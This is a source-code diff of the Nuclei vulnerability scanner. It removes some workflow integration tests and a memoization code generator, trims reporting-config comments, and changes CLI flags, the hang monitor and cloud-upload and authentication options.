|
||||
}
|
||||
|
||||
type workflowHttpKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@@ -190,50 +133,11 @@ func (h *workflowDnsKeyValueShare) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowCodeKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowCodeKeyValueShare) Execute(filePath string) error {
|
||||
// provide the Certificate File that the code templates are signed with
|
||||
certEnvVar := signer.CertEnvVarName + "=" + testCertFile
|
||||
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, []string{certEnvVar}, "-workflows", filePath, "-target", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowMultiProtocolKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowMultiProtocolKeyValueShare) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
// the response of path1 contains a domain that will be extracted and shared with the second template
|
||||
router.GET("/path1", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "href=\"blog.projectdiscovery.io\"")
|
||||
})
|
||||
// path2 responds with the value of the "extracted" query parameter, e.g.: /path2?extracted=blog.projectdiscovery.io => blog.projectdiscovery.io
|
||||
router.GET("/path2", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "%s", r.URL.Query().Get("extracted"))
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type workflowSharedCookies struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowSharedCookies) Execute(filePath string) error {
|
||||
handleFunc := func(name string, w http.ResponseWriter, _ *http.Request, _ httprouter.Params) {
|
||||
handleFunc := func(name string, w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
cookie := &http.Cookie{Name: name, Value: name}
|
||||
http.SetCookie(w, cookie)
|
||||
}
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
// Warning - This is generated code
|
||||
package {{.SourcePackage}}
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/utils/memoize"
|
||||
|
||||
{{range .Imports}}
|
||||
{{.Name}} {{.Path}}
|
||||
{{end}}
|
||||
)
|
||||
|
||||
{{range .Functions}}
|
||||
{{ .SignatureWithPrefix "memoized" }} {
|
||||
hash := "{{ .Name }}" {{range .Params}} + ":" + fmt.Sprint({{.Name}}) {{end}}
|
||||
|
||||
v, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {
|
||||
return {{.Name}}({{.ParamsNames}})
|
||||
})
|
||||
if err != nil {
|
||||
return {{.ResultFirstFieldDefaultValue}}, err
|
||||
}
|
||||
if value, ok := v.({{.ResultFirstFieldType}}); ok {
|
||||
return value, nil
|
||||
}
|
||||
|
||||
return {{.ResultFirstFieldDefaultValue}}, errors.New("could not convert cached result")
|
||||
}
|
||||
{{end}}
|
||||
@@ -1,77 +0,0 @@
|
||||
// this small cli tool is specific for those functions with arbitrary parameters and with result-error tuple as return values
|
||||
// func(x,y) => result, error
|
||||
// it works by creating a new memoized version of the functions in the same path as memo.original.file.go
|
||||
// some parts are specific for nuclei and hardcoded within the template
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"io/fs"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/projectdiscovery/utils/memoize"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
)
|
||||
|
||||
var (
|
||||
srcPath = flag.String("src", "", "nuclei source path")
|
||||
tplPath = flag.String("tpl", "function.tpl", "template path")
|
||||
tplSrc []byte
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.Parse()
|
||||
|
||||
var err error
|
||||
tplSrc, err = os.ReadFile(*tplPath)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
err = filepath.Walk(*srcPath, walk)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func walk(path string, info fs.FileInfo, err error) error {
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ext := filepath.Ext(path)
|
||||
base := filepath.Base(path)
|
||||
|
||||
if !stringsutil.EqualFoldAny(ext, ".go") {
|
||||
return nil
|
||||
}
|
||||
|
||||
basePath := filepath.Dir(path)
|
||||
outPath := filepath.Join(basePath, "memo."+base)
|
||||
|
||||
// filename := filepath.Base(path)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !stringsutil.ContainsAnyI(string(data), "@memo") {
|
||||
return nil
|
||||
}
|
||||
log.Println("processing:", path)
|
||||
out, err := memoize.Src(string(tplSrc), path, data, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.WriteFile(outPath, out, os.ModePerm); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,8 +1,3 @@
|
||||
# global allow/deny list. this will affect both exporters
|
||||
# as well as issue trackers. you can filter trackers with
|
||||
# a tracker level filter on top of an exporter by setting
|
||||
# allow-list/deny-list per tracker.
|
||||
#
|
||||
#allow-list:
|
||||
# severity: high, critical
|
||||
#deny-list:
|
||||
@@ -22,15 +17,6 @@
|
||||
# project-name: test-project
|
||||
# # issue-label is the label of the created issue type
|
||||
# issue-label: bug
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # duplicate-issue-check flag to enable duplicate tracking issue check.
|
||||
# duplicate-issue-check: false
|
||||
#
|
||||
@@ -46,41 +32,6 @@
|
||||
# project-name: "1234"
|
||||
# # issue-label is the label of the created issue type
|
||||
# issue-label: bug
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
#
|
||||
# Gitea contains configuration options for a gitea issue tracker
|
||||
#gitea:
|
||||
# # base-url is the optional self-hosted Gitea application url (defaults to https://gitea.com)
|
||||
# base-url: https://localhost:8443/
|
||||
# # token is the token for a Gitea account to use
|
||||
# token: test-token
|
||||
# # project-owner is the owner (user or org) of the repository
|
||||
# project-owner: "1234"
|
||||
# # project-name is the name of the repository
|
||||
# project-name: "1234"
|
||||
# # issue-label is a custom label to add to created issues
|
||||
# issue-label: bug
|
||||
# # severity-as-label (optional) adds the severity as a label of the created issue
|
||||
# severity-as-label: true
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # duplicate-issue-check (optional) flag to enable duplicate tracking issue check
|
||||
# duplicate-issue-check: false
|
||||
#
|
||||
# Jira contains configuration options for Jira issue tracker
|
||||
#jira:
|
||||
@@ -103,15 +54,6 @@
|
||||
# # SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# # User custom fields for Jira Cloud instead
|
||||
# severity-as-label: true
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# # When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# # If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
|
||||
@@ -12,19 +12,12 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_pdcp "github.com/projectdiscovery/nuclei/v3/internal/pdcp"
|
||||
"github.com/projectdiscovery/utils/auth/pdcp"
|
||||
"github.com/projectdiscovery/utils/env"
|
||||
_ "github.com/projectdiscovery/utils/pprof"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/interactsh/pkg/client"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/runner"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/installer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl"
|
||||
@@ -39,21 +32,16 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
unitutils "github.com/projectdiscovery/utils/unit"
|
||||
updateutils "github.com/projectdiscovery/utils/update"
|
||||
)
|
||||
|
||||
var (
|
||||
cfgFile string
|
||||
templateProfile string
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
cfgFile string
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
)
|
||||
|
||||
func main() {
|
||||
// enables CLI specific configs mostly interactive behavior
|
||||
config.CurrentAppMode = config.AppModeCLI
|
||||
|
||||
if err := runner.ConfigureOptions(); err != nil {
|
||||
gologger.Fatal().Msgf("Could not initialize options: %s\n", err)
|
||||
}
|
||||
@@ -123,6 +111,11 @@ func main() {
|
||||
|
||||
runner.ParseOptions(options)
|
||||
|
||||
if options.HangMonitor {
|
||||
cancel := monitor.NewStackMonitor(10 * time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
nucleiRunner, err := runner.New(options)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("Could not create runner: %s\n", err)
|
||||
@@ -131,25 +124,6 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if options.HangMonitor {
|
||||
stackMonitor := monitor.NewStackMonitor()
|
||||
cancel := stackMonitor.Start(10 * time.Second)
|
||||
defer cancel()
|
||||
stackMonitor.RegisterCallback(func(dumpID string) error {
|
||||
resumeFileName := fmt.Sprintf("crash-resume-file-%s.dump", dumpID)
|
||||
if options.EnableCloudUpload {
|
||||
gologger.Info().Msgf("Uploading scan results to cloud...")
|
||||
}
|
||||
nucleiRunner.Close()
|
||||
gologger.Info().Msgf("Creating resume file: %s\n", resumeFileName)
|
||||
err := nucleiRunner.SaveResumeConfig(resumeFileName)
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("couldn't create crash resume file")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// Setup graceful exits
|
||||
resumeFileName := types.DefaultResumeFilePath()
|
||||
c := make(chan os.Signal, 1)
|
||||
@@ -158,10 +132,6 @@ func main() {
|
||||
go func() {
|
||||
for range c {
|
||||
gologger.Info().Msgf("CTRL+C pressed: Exiting\n")
|
||||
gologger.Info().Msgf("Attempting graceful shutdown...")
|
||||
if options.EnableCloudUpload {
|
||||
gologger.Info().Msgf("Uploading scan results to cloud...")
|
||||
}
|
||||
nucleiRunner.Close()
|
||||
if options.ShouldSaveResume() {
|
||||
gologger.Info().Msgf("Creating resume file: %s\n", resumeFileName)
|
||||
@@ -192,8 +162,6 @@ func readConfig() *goflags.FlagSet {
|
||||
|
||||
// when true updates nuclei binary to latest version
|
||||
var updateNucleiBinary bool
|
||||
var pdcpauth string
|
||||
var fuzzFlag bool
|
||||
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.CaseSensitive = true
|
||||
@@ -205,20 +173,13 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
*/
|
||||
|
||||
flagSet.CreateGroup("input", "Target",
|
||||
flagSet.StringSliceVarP(&options.Targets, "target", "u", nil, "target URLs/hosts to scan", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.Targets, "target", "u", nil, "target URLs/hosts to scan", goflags.StringSliceOptions),
|
||||
flagSet.StringVarP(&options.TargetsFilePath, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"),
|
||||
flagSet.StringSliceVarP(&options.ExcludeTargets, "exclude-hosts", "eh", nil, "hosts to exclude to scan from the input list (ip, cidr, hostname)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringVar(&options.Resume, "resume", "", "resume scan using resume.cfg (clustering will be disabled)"),
|
||||
flagSet.BoolVarP(&options.ScanAllIPs, "scan-all-ips", "sa", false, "scan all the IP's associated with dns record"),
|
||||
flagSet.StringSliceVarP(&options.IPVersion, "ip-version", "iv", nil, "IP version to scan of hostname (4,6) - (default 4)", goflags.CommaSeparatedStringSliceOptions),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("target-format", "Target-Format",
|
||||
flagSet.StringVarP(&options.InputFileMode, "input-mode", "im", "list", fmt.Sprintf("mode of input file (%v)", provider.SupportedInputFormats())),
|
||||
flagSet.BoolVarP(&options.FormatUseRequiredOnly, "required-only", "ro", false, "use only required fields in input format when generating requests"),
|
||||
flagSet.BoolVarP(&options.SkipFormatValidation, "skip-format-validation", "sfv", false, "skip format validation (like missing vars) when parsing input file"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("templates", "Templates",
|
||||
flagSet.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "run only new templates added in latest nuclei-templates release"),
|
||||
flagSet.StringSliceVarP(&options.NewTemplatesWithVersion, "new-templates-version", "ntv", nil, "run new templates added in specific version", goflags.CommaSeparatedStringSliceOptions),
|
||||
@@ -231,11 +192,8 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
|
||||
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
|
||||
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
|
||||
flagSet.BoolVar(&options.TagList, "tgl", false, "list all available tags"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"cloud.projectdiscovery.io"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"templates.nuclei.sh"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"),
|
||||
flagSet.BoolVar(&options.EnableCodeTemplates, "code", false, "enable loading code protocol-based templates"),
|
||||
flagSet.BoolVarP(&options.DisableUnsignedTemplates, "disable-unsigned-templates", "dut", false, "disable running unsigned templates or templates with mismatched signature"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("filters", "Filtering",
|
||||
@@ -245,8 +203,8 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringSliceVarP(&options.IncludeTags, "include-tags", "itags", nil, "tags to be executed even if they are excluded either by default or configuration", goflags.FileNormalizedStringSliceOptions), // TODO show default deny list
|
||||
flagSet.StringSliceVarP(&options.IncludeIds, "template-id", "id", nil, "templates to run based on template ids (comma-separated, file, allow-wildcard)", goflags.FileNormalizedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludeIds, "exclude-id", "eid", nil, "templates to exclude based on template ids (comma-separated, file)", goflags.FileNormalizedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.IncludeTemplates, "include-templates", "it", nil, "path to template file or directory to be executed even if they are excluded either by default or configuration", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude-templates", "et", nil, "path to template file or directory to exclude (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.IncludeTemplates, "include-templates", "it", nil, "templates to be executed even if they are excluded either by default or configuration", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude-templates", "et", nil, "template or template directory to exclude (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.ExcludeMatchers, "exclude-matchers", "em", nil, "template matchers to exclude in result", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.VarP(&options.Severities, "severity", "s", fmt.Sprintf("templates to run based on severity. Possible values: %s", severity.GetSupportedSeverities().String())),
|
||||
flagSet.VarP(&options.ExcludeSeverities, "exclude-severity", "es", fmt.Sprintf("templates to exclude based on severity. Possible values: %s", severity.GetSupportedSeverities().String())),
|
||||
@@ -264,7 +222,6 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.JSONL, "jsonl", "j", false, "write output in JSONL(ines) format"),
|
||||
flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", true, "include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use `-omit-raw`]"),
|
||||
flagSet.BoolVarP(&options.OmitRawRequests, "omit-raw", "or", false, "omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)"),
|
||||
flagSet.BoolVarP(&options.OmitTemplate, "omit-template", "ot", false, "omit encoded template in the JSON, JSONL output"),
|
||||
flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "disable printing result metadata in cli output"),
|
||||
flagSet.BoolVarP(&options.Timestamp, "timestamp", "ts", false, "enables printing timestamp in cli output"),
|
||||
flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "nuclei reporting database (always use this to persist report data)"),
|
||||
@@ -273,13 +230,10 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
|
||||
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
|
||||
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
|
||||
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("configs", "Configurations",
|
||||
flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"),
|
||||
flagSet.StringVarP(&templateProfile, "profile", "tp", "", "template profile config file to run"),
|
||||
flagSet.BoolVarP(&options.ListTemplateProfiles, "profile-list", "tpl", false, "list community template profiles"),
|
||||
flagSet.BoolVarP(&options.FollowRedirects, "follow-redirects", "fr", false, "enable following redirects for http templates"),
|
||||
flagSet.BoolVarP(&options.FollowHostRedirects, "follow-host-redirects", "fhr", false, "follow redirects on the same host"),
|
||||
flagSet.IntVarP(&options.MaxRedirects, "max-redirects", "mr", 10, "max number of redirects to follow for http templates"),
|
||||
@@ -299,17 +253,15 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.ShowMatchLine, "show-match-line", "sml", false, "show match lines for file templates, works with extractors only"),
|
||||
flagSet.BoolVar(&options.ZTLS, "ztls", false, "use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default"), //nolint:all
|
||||
flagSet.StringVar(&options.SNI, "sni", "", "tls sni hostname to use (default: input domain name)"),
|
||||
flagSet.DurationVarP(&options.DialerKeepAlive, "dialer-keep-alive", "dka", 0, "keep-alive duration for network requests."),
|
||||
flagSet.BoolVarP(&options.AllowLocalFileAccess, "allow-local-file-access", "lfa", false, "allows file (payload) access anywhere on the system"),
|
||||
flagSet.BoolVarP(&options.RestrictLocalNetworkAccess, "restrict-local-network-access", "lna", false, "blocks connections to the local / private network"),
|
||||
flagSet.StringVarP(&options.Interface, "interface", "i", "", "network interface to use for network scan"),
|
||||
flagSet.StringVarP(&options.AttackType, "attack-type", "at", "", "type of payload combinations to perform (batteringram,pitchfork,clusterbomb)"),
|
||||
flagSet.StringVarP(&options.SourceIP, "source-ip", "sip", "", "source ip address to use for network scan"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 0, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", unitutils.Mega, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 10*1024*1024, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", 1*1024*1024, "max response size to read in bytes"),
|
||||
flagSet.CallbackVar(resetCallback, "reset", "reset removes all nuclei configuration and data files (including nuclei-templates)"),
|
||||
flagSet.BoolVarP(&options.TlsImpersonate, "tls-impersonate", "tlsi", false, "enable experimental client hello (ja3) tls randomization"),
|
||||
flagSet.StringVarP(&options.HttpApiEndpoint, "http-api-endpoint", "hae", "", "experimental http api endpoint"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("interactsh", "interactsh",
|
||||
@@ -325,11 +277,6 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CreateGroup("fuzzing", "Fuzzing",
|
||||
flagSet.StringVarP(&options.FuzzingType, "fuzzing-type", "ft", "", "overrides fuzzing type set in template (replace, prefix, postfix, infix)"),
|
||||
flagSet.StringVarP(&options.FuzzingMode, "fuzzing-mode", "fm", "", "overrides fuzzing mode set in template (multiple, single)"),
|
||||
flagSet.BoolVar(&fuzzFlag, "fuzz", false, "enable loading fuzzing templates (Deprecated: use -dast instead)"),
|
||||
flagSet.BoolVar(&options.DAST, "dast", false, "enable / run dast (fuzz) nuclei templates"),
|
||||
flagSet.BoolVarP(&options.DisplayFuzzPoints, "display-fuzz-points", "dfp", false, "display fuzz points in the output for debugging"),
|
||||
flagSet.IntVar(&options.FuzzParamFrequency, "fuzz-param-frequency", 10, "frequency of uninteresting parameters for fuzzing before skipping"),
|
||||
flagSet.StringVarP(&options.FuzzAggressionLevel, "fuzz-aggression", "fa", "low", "fuzzing aggression level controls payload count for fuzz (low, medium, high)"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("uncover", "Uncover",
|
||||
@@ -343,15 +290,11 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
|
||||
flagSet.CreateGroup("rate-limit", "Rate-Limit",
|
||||
flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"),
|
||||
flagSet.DurationVarP(&options.RateLimitDuration, "rate-limit-duration", "rld", time.Second, "maximum number of requests to send per second"),
|
||||
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute (DEPRECATED)"),
|
||||
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute"),
|
||||
flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"),
|
||||
flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 25, "maximum number of templates to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.HeadlessBulkSize, "headless-bulk-size", "hbs", 10, "maximum number of headless hosts to be analyzed in parallel per template"),
|
||||
flagSet.IntVarP(&options.HeadlessTemplateThreads, "headless-concurrency", "headc", 10, "maximum number of headless templates to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.JsConcurrency, "js-concurrency", "jsc", 120, "maximum number of javascript runtimes to be executed in parallel"),
|
||||
flagSet.IntVarP(&options.PayloadConcurrency, "payload-concurrency", "pc", 25, "max payload concurrency for each template"),
|
||||
flagSet.IntVarP(&options.ProbeConcurrency, "probe-concurrency", "prc", 50, "http probe concurrency with httpx"),
|
||||
)
|
||||
flagSet.CreateGroup("optimization", "Optimizations",
|
||||
flagSet.IntVar(&options.Timeout, "timeout", 10, "time to wait in seconds before timeout"),
|
||||
@@ -418,16 +361,27 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("cloud", "Cloud",
|
||||
flagSet.DynamicVar(&pdcpauth, "auth", "true", "configure projectdiscovery cloud (pdcp) api key"),
|
||||
flagSet.StringVarP(&options.TeamID, "team-id", "tid", _pdcp.TeamIDEnv, "upload scan results to given team id (optional)"),
|
||||
flagSet.BoolVarP(&options.EnableCloudUpload, "cloud-upload", "cup", false, "upload scan results to pdcp dashboard"),
|
||||
flagSet.StringVarP(&options.ScanID, "scan-id", "sid", "", "upload scan results to existing scan id (optional)"),
|
||||
flagSet.StringVarP(&options.ScanName, "scan-name", "sname", "", "scan name to set (optional)"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("Authentication", "Authentication",
|
||||
flagSet.StringSliceVarP(&options.SecretsFile, "secret-file", "sf", nil, "path to config file containing secrets for nuclei authenticated scan", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.PreFetchSecrets, "prefetch-secrets", "ps", false, "prefetch secrets from the secrets file"),
|
||||
flagSet.BoolVar(&options.Cloud, "cloud", false, "run scan on nuclei cloud"),
|
||||
flagSet.StringVarP(&options.AddDatasource, "add-datasource", "ads", "", "add specified data source (s3,github)"),
|
||||
flagSet.StringVarP(&options.AddTarget, "add-target", "atr", "", "add target(s) to cloud"),
|
||||
flagSet.StringVarP(&options.AddTemplate, "add-template", "atm", "", "add template(s) to cloud"),
|
||||
flagSet.BoolVarP(&options.ScanList, "list-scan", "lsn", false, "list previous cloud scans"),
|
||||
flagSet.StringVarP(&options.ScanOutput, "list-output", "lso", "", "list scan output by scan id"),
|
||||
flagSet.BoolVarP(&options.ListTargets, "list-target", "ltr", false, "list cloud target by id"),
|
||||
flagSet.BoolVarP(&options.ListTemplates, "list-template", "ltm", false, "list cloud template by id"),
|
||||
flagSet.BoolVarP(&options.ListDatasources, "list-datasource", "lds", false, "list cloud datasource by id"),
|
||||
flagSet.BoolVarP(&options.ListReportingSources, "list-reportsource", "lrs", false, "list reporting sources"),
|
||||
flagSet.StringVarP(&options.DeleteScan, "delete-scan", "dsn", "", "delete cloud scan by id"),
|
||||
flagSet.StringVarP(&options.RemoveTarget, "delete-target", "dtr", "", "delete target(s) from cloud"),
|
||||
flagSet.StringVarP(&options.RemoveTemplate, "delete-template", "dtm", "", "delete template(s) from cloud"),
|
||||
flagSet.StringVarP(&options.RemoveDatasource, "delete-datasource", "dds", "", "delete specified data source"),
|
||||
flagSet.StringVarP(&options.DisableReportingSource, "disable-reportsource", "drs", "", "disable specified reporting source"),
|
||||
flagSet.StringVarP(&options.EnableReportingSource, "enable-reportsource", "ers", "", "enable specified reporting source"),
|
||||
flagSet.StringVarP(&options.GetTarget, "get-target", "gtr", "", "get target content by id"),
|
||||
flagSet.StringVarP(&options.GetTemplate, "get-template", "gtm", "", "get template content by id"),
|
||||
flagSet.BoolVarP(&options.NoStore, "no-store", "nos", false, "disable scan/output storage on cloud"),
|
||||
flagSet.BoolVar(&options.NoTables, "no-tables", false, "do not display pretty-printed tables"),
|
||||
flagSet.IntVar(&options.OutputLimit, "limit", 100, "limit the number of output to display"),
|
||||
)
|
||||
|
||||
flagSet.SetCustomHelpText(`EXAMPLES:
|
||||
@@ -456,25 +410,6 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
goflags.DisableAutoConfigMigration = true
|
||||
_ = flagSet.Parse()
|
||||
|
||||
// when fuzz flag is enabled, set the dast flag to true
|
||||
if fuzzFlag {
|
||||
// backwards compatibility for fuzz flag
|
||||
options.DAST = true
|
||||
}
|
||||
|
||||
// api key hierarchy: cli flag > env var > .pdcp/credential file
|
||||
if pdcpauth == "true" {
|
||||
runner.AuthWithPDCP()
|
||||
} else if len(pdcpauth) == 36 {
|
||||
ph := pdcp.PDCPCredHandler{}
|
||||
if _, err := ph.GetCreds(); err == pdcp.ErrNoCreds {
|
||||
apiServer := env.GetEnvOrDefault("PDCP_API_SERVER", pdcp.DefaultApiServer)
|
||||
if validatedCreds, err := ph.ValidateAPIKey(pdcpauth, apiServer, config.BinaryName); err == nil {
|
||||
_ = ph.SaveCreds(validatedCreds)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug)
|
||||
|
||||
if options.VerboseVerbose {
|
||||
@@ -510,42 +445,6 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
